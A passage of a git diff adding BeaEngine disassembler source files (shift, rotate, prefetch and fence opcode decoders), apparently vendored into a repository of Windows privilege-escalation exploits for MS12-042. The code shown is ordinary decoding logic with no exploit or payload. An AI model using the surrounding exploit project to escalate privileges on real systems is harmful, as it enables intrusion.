MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + if (GV.MOD_!= 0x3) { + GV.MemDecoration = Arg1multibytes; + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+STATE_MANAGEMENT; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "xsave "); + #endif + (*pMyDisasm).Argument1.ArgSize = 512; + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+FPU_REG+MMX_REG+SSE_REG; + (*pMyDisasm).Argument2.ArgSize = 512; + } + else { + FailDecode(pMyDisasm); + } + } + + else if (GV.REGOPCODE == 5) { + GV.MOD_= ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 6) & 0x3; + if (GV.MOD_== 0x3) { + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+CACHEABILITY_CONTROL; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "lfence "); + #endif + } + else { + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.MemDecoration = Arg2multibytes; + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+STATE_MANAGEMENT; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "xrstor "); + #endif + (*pMyDisasm).Argument2.ArgSize = 512; + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+MMX_REG+SSE_REG; + (*pMyDisasm).Argument1.ArgSize = 512; + } + + } + else if (GV.REGOPCODE == 6) { + GV.MOD_= ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 6) & 0x3; + if (GV.MOD_== 0x3) { + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+CACHEABILITY_CONTROL; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mfence "); + #endif + } + else { + FailDecode(pMyDisasm); + } + } + else if (GV.REGOPCODE == 7) { + GV.MOD_= ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 6) & 0x3; + if (GV.MOD_== 0x3) { + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+CACHEABILITY_CONTROL; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sfence "); + #endif + } + else { + GV.OperandSize = 8; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.OperandSize = 32; + GV.MemDecoration = Arg2byte; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+CACHEABILITY_CONTROL; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "clflush "); + #endif + } + + } + + else { + FailDecode(pMyDisasm); + } + GV.EIP_+= GV.DECALAGE_EIP+2; +} diff --git a/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/opcodes_Grp16.c b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/opcodes_Grp16.c new file mode 100644 index 0000000..58cad51 --- /dev/null +++ b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/opcodes_Grp16.c @@ -0,0 +1,85 @@ +/* Copyright 2006-2009, BeatriX + * File coded by BeatriX + * + * This file is part of BeaEngine. + * + * BeaEngine is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * BeaEngine is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with BeaEngine. If not, see . */ + +/* ==================================================================== + * + * ==================================================================== */ +void __bea_callspec__ G16_(PDISASM pMyDisasm) +{ + GV.REGOPCODE = ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 3) & 0x7; + if (GV.REGOPCODE == 0) { + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + if (GV.MOD_!= 0x3) { + GV.MemDecoration = Arg2byte; + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+CACHEABILITY_CONTROL; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "prefetchNTA "); + #endif + } + else { + FailDecode(pMyDisasm); + } + } + else if (GV.REGOPCODE == 1) { + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + if (GV.MOD_!= 0x3) { + GV.MemDecoration = Arg2byte; + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+CACHEABILITY_CONTROL; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "prefetchT0 "); + #endif + } + else { + FailDecode(pMyDisasm); + } + + } + else if (GV.REGOPCODE == 2) { + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + if (GV.MOD_!= 0x3) { + GV.MemDecoration = Arg2byte; + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+CACHEABILITY_CONTROL; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "prefetchT1 "); + #endif + } + else { + FailDecode(pMyDisasm); + } + + } + else if (GV.REGOPCODE == 3) { + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + if (GV.MOD_!= 0x3) { + GV.MemDecoration = Arg2byte; + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+CACHEABILITY_CONTROL; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "prefetchT2 "); + #endif + } + else { + FailDecode(pMyDisasm); + } + + } + + else { + FailDecode(pMyDisasm); + } + GV.EIP_+= GV.DECALAGE_EIP+2; +} diff --git a/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/opcodes_Grp2.c b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/opcodes_Grp2.c new file mode 100644 index 0000000..b1fc810 --- /dev/null +++ b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/opcodes_Grp2.c @@ -0,0 +1,461 @@ +/* Copyright 2006-2009, BeatriX + * File coded by BeatriX + * + * This file is part of BeaEngine. + * + * BeaEngine is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * BeaEngine is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with BeaEngine. If not, see . */ + +/* ==================================================================== + * 0c0h + * ==================================================================== */ +void __bea_callspec__ G2_EbIb(PDISASM pMyDisasm) +{ + GV.REGOPCODE = ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 3) & 0x7; + EbIb(pMyDisasm); + if (GV.REGOPCODE == 0) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+SHIFT_ROTATE; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "rol "); + #endif + FillFlags(pMyDisasm, 88); + } + else if (GV.REGOPCODE == 1) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+SHIFT_ROTATE; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "ror "); + #endif + FillFlags(pMyDisasm, 88); + } + else if (GV.REGOPCODE == 2) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+SHIFT_ROTATE; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "rcl "); + #endif + FillFlags(pMyDisasm, 81); + } + else if (GV.REGOPCODE == 3) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+SHIFT_ROTATE; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "rcr "); + #endif + FillFlags(pMyDisasm, 81); + } + else if (GV.REGOPCODE == 4) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+SHIFT_ROTATE; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "shl "); + #endif + FillFlags(pMyDisasm, 92); + } + else if (GV.REGOPCODE == 5) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+SHIFT_ROTATE; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "shr "); + #endif + FillFlags(pMyDisasm, 92); + } + else if (GV.REGOPCODE == 6) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+SHIFT_ROTATE; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sal "); + #endif + FillFlags(pMyDisasm, 92); + } + else if (GV.REGOPCODE == 7) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+SHIFT_ROTATE; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sar "); + #endif + FillFlags(pMyDisasm, 92); + } +} + + +/* ==================================================================== + * 0c1h + * ==================================================================== */ +void __bea_callspec__ G2_EvIb(PDISASM pMyDisasm) +{ + GV.REGOPCODE = ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 3) & 0x7; + EvIb(pMyDisasm); + if (GV.REGOPCODE == 0) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+SHIFT_ROTATE; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "rol "); + #endif + FillFlags(pMyDisasm, 88); + } + else if (GV.REGOPCODE == 1) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+SHIFT_ROTATE; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "ror "); + #endif + FillFlags(pMyDisasm, 88); + } + else if (GV.REGOPCODE == 2) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+SHIFT_ROTATE; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "rcl "); + #endif + FillFlags(pMyDisasm, 81); + } + else if (GV.REGOPCODE == 3) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+SHIFT_ROTATE; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "rcr "); + #endif + FillFlags(pMyDisasm, 81); + } + else if (GV.REGOPCODE == 4) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+SHIFT_ROTATE; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "shl "); + #endif + FillFlags(pMyDisasm, 92); + } + else if (GV.REGOPCODE == 5) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+SHIFT_ROTATE; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "shr "); + #endif + FillFlags(pMyDisasm, 92); + } + else if (GV.REGOPCODE == 6) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+SHIFT_ROTATE; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sal "); + #endif + FillFlags(pMyDisasm, 92); + } + else if (GV.REGOPCODE == 7) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+SHIFT_ROTATE; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sar "); + #endif + FillFlags(pMyDisasm, 92); + } +} + +/* ==================================================================== + * 0d0h + * ==================================================================== */ +void __bea_callspec__ G2_Eb1(PDISASM pMyDisasm) +{ + GV.REGOPCODE = ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 3) & 0x7; + GV.MemDecoration = Arg1byte; + GV.OperandSize = 8; + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + GV.OperandSize = 32; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, "1 "); + #endif + (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument2.ArgSize = 8; + (*pMyDisasm).Instruction.Immediat = 1; + if (GV.REGOPCODE == 0) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+SHIFT_ROTATE; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "rol "); + #endif + FillFlags(pMyDisasm, 87); + } + else if (GV.REGOPCODE == 1) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+SHIFT_ROTATE; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "ror "); + #endif + FillFlags(pMyDisasm, 87); + } + else if (GV.REGOPCODE == 2) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+SHIFT_ROTATE; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "rcl "); + #endif + FillFlags(pMyDisasm, 80); + } + else if (GV.REGOPCODE == 3) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+SHIFT_ROTATE; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "rcr "); + #endif + FillFlags(pMyDisasm, 80); + } + else if (GV.REGOPCODE == 4) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+SHIFT_ROTATE; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "shl "); + #endif + FillFlags(pMyDisasm, 91); + } + else if (GV.REGOPCODE == 5) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+SHIFT_ROTATE; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "shr "); + #endif + FillFlags(pMyDisasm, 91); + } + else if (GV.REGOPCODE == 6) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+SHIFT_ROTATE; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sal "); + #endif + FillFlags(pMyDisasm, 91); + } + else if (GV.REGOPCODE == 7) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+SHIFT_ROTATE; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sar "); + #endif + FillFlags(pMyDisasm, 91); + } + GV.EIP_ += GV.DECALAGE_EIP+2; +} + + +/* ==================================================================== + * 0d1h + * ==================================================================== */ +void __bea_callspec__ G2_Ev1(PDISASM pMyDisasm) +{ + GV.REGOPCODE = ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 3) & 0x7; + if (GV.OperandSize == 64) { + GV.MemDecoration = Arg1qword; + } + else if (GV.OperandSize == 32) { + GV.MemDecoration = Arg1dword; + } + else { + GV.MemDecoration = Arg1word; + } + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, "1 "); + #endif + (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument2.ArgSize = 8; + (*pMyDisasm).Instruction.Immediat = 1; + if (GV.REGOPCODE == 0) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+SHIFT_ROTATE; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "rol "); + #endif + FillFlags(pMyDisasm, 87); + } + else if (GV.REGOPCODE == 1) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+SHIFT_ROTATE; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "ror "); + #endif + FillFlags(pMyDisasm, 87); + } + else if (GV.REGOPCODE == 2) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+SHIFT_ROTATE; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "rcl "); + #endif + FillFlags(pMyDisasm, 80); + } + else if (GV.REGOPCODE == 3) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+SHIFT_ROTATE; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "rcr "); + #endif + FillFlags(pMyDisasm, 80); + } + else if (GV.REGOPCODE == 4) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+SHIFT_ROTATE; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "shl "); + #endif + FillFlags(pMyDisasm, 91); + } + else if (GV.REGOPCODE == 5) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+SHIFT_ROTATE; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "shr "); + #endif + FillFlags(pMyDisasm, 91); + } + else if (GV.REGOPCODE == 6) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+SHIFT_ROTATE; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sal "); + #endif + FillFlags(pMyDisasm, 91); + } + else if (GV.REGOPCODE == 7) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+SHIFT_ROTATE; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sar "); + #endif + FillFlags(pMyDisasm, 91); + } + GV.EIP_ += GV.DECALAGE_EIP+2; +} + + +/* ==================================================================== + * 0d2h + * ==================================================================== */ +void __bea_callspec__ G2_EbCL(PDISASM pMyDisasm) +{ + GV.REGOPCODE = ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 3) & 0x7; + GV.MemDecoration = Arg1byte; + GV.OperandSize = 8; + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + GV.OperandSize = 32; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers8Bits[1]); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+GENERAL_REG+REG1; + (*pMyDisasm).Argument2.ArgSize = 8; + if (GV.REGOPCODE == 0) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+SHIFT_ROTATE; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "rol "); + #endif + FillFlags(pMyDisasm, 88); + } + else if (GV.REGOPCODE == 1) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+SHIFT_ROTATE; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "ror "); + #endif + FillFlags(pMyDisasm, 88); + } + else if (GV.REGOPCODE == 2) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+SHIFT_ROTATE; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "rcl "); + #endif + FillFlags(pMyDisasm, 81); + } + else if (GV.REGOPCODE == 3) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+SHIFT_ROTATE; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "rcr "); + #endif + FillFlags(pMyDisasm, 81); + } + else if (GV.REGOPCODE == 4) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+SHIFT_ROTATE; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "shl "); + #endif + FillFlags(pMyDisasm, 92); + } + else if (GV.REGOPCODE == 5) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+SHIFT_ROTATE; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "shr "); + #endif + FillFlags(pMyDisasm, 92); + } + else if (GV.REGOPCODE == 6) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+SHIFT_ROTATE; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sal "); + #endif + FillFlags(pMyDisasm, 92); + } + else if (GV.REGOPCODE == 7) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+SHIFT_ROTATE; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sar "); + #endif + FillFlags(pMyDisasm, 92); + } + GV.EIP_ += GV.DECALAGE_EIP+2; +} + + +/* ==================================================================== + * 0d3h + * ==================================================================== */ +void __bea_callspec__ G2_EvCL(PDISASM pMyDisasm) +{ + GV.REGOPCODE = ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 3) & 0x7; + if (GV.OperandSize == 64) { + GV.MemDecoration = Arg1qword; + } + else if (GV.OperandSize == 32) { + GV.MemDecoration = Arg1dword; + } + else { + GV.MemDecoration = Arg1word; + } + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers8Bits[1]); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+GENERAL_REG+REG1; + (*pMyDisasm).Argument2.ArgSize = 8; + if (GV.REGOPCODE == 0) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+SHIFT_ROTATE; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "rol "); + #endif + FillFlags(pMyDisasm, 88); + } + else if (GV.REGOPCODE == 1) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+SHIFT_ROTATE; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "ror "); + #endif + FillFlags(pMyDisasm, 88); + } + else if (GV.REGOPCODE == 2) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+SHIFT_ROTATE; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "rcl "); + #endif + FillFlags(pMyDisasm, 81); + } + else if (GV.REGOPCODE == 3) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+SHIFT_ROTATE; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "rcr "); + #endif + FillFlags(pMyDisasm, 81); + } + else if (GV.REGOPCODE == 4) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+SHIFT_ROTATE; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "shl "); + #endif + FillFlags(pMyDisasm, 92); + } + else if (GV.REGOPCODE == 5) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+SHIFT_ROTATE; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "shr "); + #endif + FillFlags(pMyDisasm, 92); + } + else if (GV.REGOPCODE == 6) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+SHIFT_ROTATE; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sal "); + #endif + FillFlags(pMyDisasm, 92); + } + else if (GV.REGOPCODE == 7) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+SHIFT_ROTATE; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sar "); + #endif + FillFlags(pMyDisasm, 92); + } + GV.EIP_ += GV.DECALAGE_EIP+2; +} diff --git a/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/opcodes_Grp3.c b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/opcodes_Grp3.c new file mode 100644 index 0000000..2e2433c --- /dev/null +++ b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/opcodes_Grp3.c @@ -0,0 +1,257 @@ +/* Copyright 2006-2009, BeatriX + * File coded by BeatriX + * + * This file is part of BeaEngine. + * + * BeaEngine is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * BeaEngine is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with BeaEngine. If not, see . */ + +/* ==================================================================== + * 0f6h + * ==================================================================== */ +void __bea_callspec__ G3_Eb(PDISASM pMyDisasm) +{ + GV.REGOPCODE = ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 3) & 0x7; + if (GV.REGOPCODE == 0) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+BIT_UInt8; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "test "); + #endif + EbIb(pMyDisasm); + (*pMyDisasm).Argument1.AccessMode = READ; + FillFlags(pMyDisasm, 104); + } + else if (GV.REGOPCODE == 1) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+BIT_UInt8; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "test "); + #endif + EbIb(pMyDisasm); + (*pMyDisasm).Argument1.AccessMode = READ; + FillFlags(pMyDisasm, 104); + } + else if (GV.REGOPCODE == 2) { + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+LOGICAL_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "not "); + #endif + Eb(pMyDisasm); + FillFlags(pMyDisasm, 73); + } + else if (GV.REGOPCODE == 3) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "neg "); + #endif + Eb(pMyDisasm); + FillFlags(pMyDisasm, 71); + } + else if (GV.REGOPCODE == 4) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mul "); + #endif + GV.MemDecoration = Arg2byte; + GV.OperandSize = 8; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.OperandSize = 32; + GV.EIP_ += GV.DECALAGE_EIP+2; + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG0+REG2; + (*pMyDisasm).Argument1.ArgSize = 8; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE+GENERAL_REG+REG0; + FillFlags(pMyDisasm, 70); + } + else if (GV.REGOPCODE == 5) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "imul "); + #endif + GV.MemDecoration = Arg2byte; + GV.OperandSize = 8; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.OperandSize = 32; + GV.EIP_ += GV.DECALAGE_EIP+2; + (*pMyDisasm).Argument1.ArgType = 